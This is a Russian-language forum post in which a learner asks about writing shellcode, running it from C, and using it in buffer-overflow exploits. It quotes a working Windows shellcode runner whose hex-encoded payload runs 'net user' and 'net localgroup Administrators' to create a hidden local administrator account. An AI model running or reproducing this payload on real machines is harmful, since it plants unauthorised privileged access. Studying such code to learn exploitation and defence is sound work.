Извините если не в ту ветку попал, но после прочтении множество статей, у меня появилась каша в голове.
И конечно появились вопросы

1) Для чего использовать шелл код, а потом его использовать в C?
Как я понимаю, сначала пишется код на ассемблере, потом с бинарика снимается шестнадцатеричный код. В итоге получается, что то типа такого
Код:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(){
unsigned char shellcode[]=
"\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x5d\x53\xbb\xad\x23\x86\x7c"
"\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe0\xff\xff\xff"
"\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73"
"\x65\x72\x20\x7a\x72\x6c\x20\x31\x32\x33\x34\x35\x36\x20\x2f\x61\x64"
"\x64\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f"
"\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73"
"\x20\x2f\x61\x64\x64\x20\x7a\x72\x6c\x20\x26\x26\x20\x6e\x65\x74\x20"
"\x75\x73\x65\x72\x20\x7a\x72\x6c";
printf("Size = %d bytes\n", strlen(shellcode));
((void (*)())shellcode)();
return 0;
}
А нельзя было бы сразу собрать PE файл в ассемблере?
Или со вставкой в C ассемблера? __asm{..........} ?
2)Пересмотрел видюхи от saper'a про переполнения буффера
https://rdot.org/forum/showthread.php?t=1450
В консоле в аргументах он вводит комбинации клавиш которым соответсвует аски коды.
А нельзя было бы написать шелл код, который вызывает функцию по определённому адресу и вместо комбинаций клавиш использовать этот самый шелл код?